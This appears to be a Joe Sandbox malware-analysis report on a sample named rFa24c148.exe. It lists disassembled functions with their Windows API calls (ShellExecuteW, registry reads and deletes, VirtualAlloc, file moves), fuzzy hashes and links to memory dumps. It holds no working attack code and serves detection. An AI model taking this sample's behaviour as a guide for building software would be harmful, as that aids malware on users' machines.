Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 0ef88ddf6a77f3597932d5f5950ccac7ebba6e42faf31082df8434657d37fe38
Instruction ID: 9b4534643d4666439fb6e7fa0780ec568e551195bda58a6737a49a93b172aaf7
Opcode Fuzzy Hash: 0ef88ddf6a77f3597932d5f5950ccac7ebba6e42faf31082df8434657d37fe38
Instruction Fuzzy Hash: 7EF0D1B1A04204AFEB148FA5DE88EBF767CEF40358F10483EF001A21C0D6B85D419B2A

Function 00401DF3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,C:\Program Files (x86)\shaw,?), ref: 00401E3D

Strings

C:\Program Files (x86)\shaw, xrefs: 00401E26

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Program Files (x86)\shaw
API String ID: 587946157-209812835
Opcode ID: 7587e70040bd90d9a45c77b38d5a8326e6407a8cac713d4af707f877f72f6e69
Instruction ID: 1d84af77b3b092231a8c26a4bbf5194ed9fa03af7e80c3faa1f479241ca17973
Opcode Fuzzy Hash: 7587e70040bd90d9a45c77b38d5a8326e6407a8cac713d4af707f877f72f6e69
Instruction Fuzzy Hash: 5EF0C275B14200BACB006FB59D4AF9E73B8AB24729F300936F402F70D1D6FC88419628

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.ADVAPI32(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsnA538.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 65fa667fb9a4e770228c9edaf60a266106b1654de64b854c0c014628474dfe3e
Instruction ID: 1209522b8d3984a6b4610ed026cffc7dab670339dbbb9e9ecb5883d5f24cd4f7
Opcode Fuzzy Hash: 65fa667fb9a4e770228c9edaf60a266106b1654de64b854c0c014628474dfe3e
Instruction Fuzzy Hash: D5117371915205EEDF14CFA0C6889AFB7B4EF44359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction ID: a30e82e9015a098eeac925556b61d7d627792a5c50f4ab7e1fdfecd72b7c1cbe
Opcode Fuzzy Hash: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction Fuzzy Hash: BE01D131B24210ABE7295B389C09B6A3698E710314F54863EB911F72F1DA78DC139B49

Function 004022D5 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F4
RegCloseKey.ADVAPI32(00000000), ref: 004022FD

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 150793ea9c0f0f78d5fe339fdd0b38b4f286fd840457b64defc1be174833c637
Instruction ID: cc00155b087d305277611582236cd6af1522243532d64526095e9acb0e968863
Opcode Fuzzy Hash: 150793ea9c0f0f78d5fe339fdd0b38b4f286fd840457b64defc1be174833c637
Instruction Fuzzy Hash: 92F06272A04210ABEB15AFF59A4EBAE7278DB04318F20453BF201B71D1D9FC5D028A6D

Function 0040156B Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0040157F
ShowWindow.USER32(?), ref: 00401594

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: de5aa4c1bb5d3f8e11959e1fc0988361606b0ee9916d96b78fe158bf821141de
Instruction ID: 292fe9cfc42e020ccba4ca1aabd821194ff51ac34ef1c963243808ae8aa21162
Opcode Fuzzy Hash: de5aa4c1bb5d3f8e11959e1fc0988361606b0ee9916d96b78fe158bf821141de
Instruction Fuzzy Hash: 9CE04872B101049BCB14CBA4ED808FDB7A5A744314754457FD502B3190C6759C118F28

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 47b61285cae3f2a8e8a131cf160caa589dae6c71f8bd26570f639ce9431e4caa
Instruction ID: 16f547f83e602d96c884a904eba2f663f46e66ccec186bf88b315e1392079143
Opcode Fuzzy Hash: 47b61285cae3f2a8e8a131cf160caa589dae6c71f8bd26570f639ce9431e4caa
Instruction Fuzzy Hash: BFE08671B04104DBCB50AFF469489DD7378AB50369B100877F401F10D1C6785C008A3D

Function 004059E3 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\rFa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction ID: 6e3fe12f06474a07815b5ea3b085539d8110fe4fc4e7b987d4d26a3482594277
Opcode Fuzzy Hash: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction Fuzzy Hash: 75D09E71658201EFEF098F20DE16F6EBBA2EB84B00F10962DB652940E0D6715815DB16

Function 004059BE Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004055C3,?,?,00000000,00405799,?,?,?,?), ref: 004059C3
SetFileAttributesW.KERNEL32(?,00000000), ref: 004059D7

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction ID: 23f3b5b08cf0a90752775bce35de55709fa588a0c5c1dd0fb40ccfe6c2119a3d
Opcode Fuzzy Hash: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction Fuzzy Hash: E6D01272908120EFC2102728EE0C89BBF95DB543B17118B72FD75A22F0D7304C52CAB6

Function 10002868 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 0040165E Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401679

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
